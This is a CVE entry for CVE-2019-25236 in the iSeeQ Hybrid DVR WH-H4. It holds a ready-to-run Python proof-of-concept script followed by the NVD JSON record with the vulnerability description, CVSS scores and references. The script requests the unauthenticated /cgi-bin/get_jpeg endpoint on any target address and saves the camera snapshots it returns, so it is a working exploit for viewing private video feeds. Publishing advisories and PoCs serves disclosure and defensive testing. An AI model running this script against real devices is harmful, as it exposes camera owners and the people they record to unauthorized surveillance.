CVE-2019-25236

#!/usr/bin/env python3 """ CVE-2019-25236 PoC - iSeeQ Hybrid DVR Unauthorized Video Access """ import requests import sys import argparse def check_vulnerability(target_ip, target_port=80, channel=0): """ Check if target iSeeQ DVR device is vulnerable """ url = f"http://{target_ip}:{target_port}/cgi-bin/get_jpeg" params = {"channel": channel} try: print(f"[*] Sending request to {url} with channel={channel}") response = requests.get(url, params=params, timeout=10) if response.status_code == 200: content_type = response.headers.get('Content-Type', '') if 'image/jpeg' in content_type or len(response.content) > 1000: print(f"[+] VULNERABLE! Received JPEG image ({len(response.content)} bytes)") # Save the image output_file = f"cve-2019-25236_channel{channel}_snapshot.jpg" with open(output_file, 'wb') as f: f.write(response.content) print(f"[+] Image saved to: {output_file}") return True print(f"[-] Not vulnerable or unexpected response") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def main(): parser = argparse.ArgumentParser(description='CVE-2019-25236 PoC') parser.add_argument('target', help='Target IP address') parser.add_argument('-p', '--port', type=int, default=80, help='Target port (default: 80)') parser.add_argument('-c', '--channel', type=int, default=0, help='Camera channel (default: 0)') args = parser.parse_args() check_vulnerability(args.target, args.port, args.channel) if __name__ == '__main__': main()

{"cve": {"id": "CVE-2019-25236", "sourceIdentifier": "[email protected]", "published": "2025-12-24T20:15:51.223", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "iSeeQ Hybrid DVR WH-H4 1.03R contains an unauthenticated vulnerability in the get_jpeg script that allows unauthorized access to live video streams. Attackers can retrieve video snapshots from specific camera channels by sending requests to the /cgi-bin/get_jpeg endpoint without authentication."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "http://www.iseeq.co.kr", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/47562", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5539.php", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5539.php", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}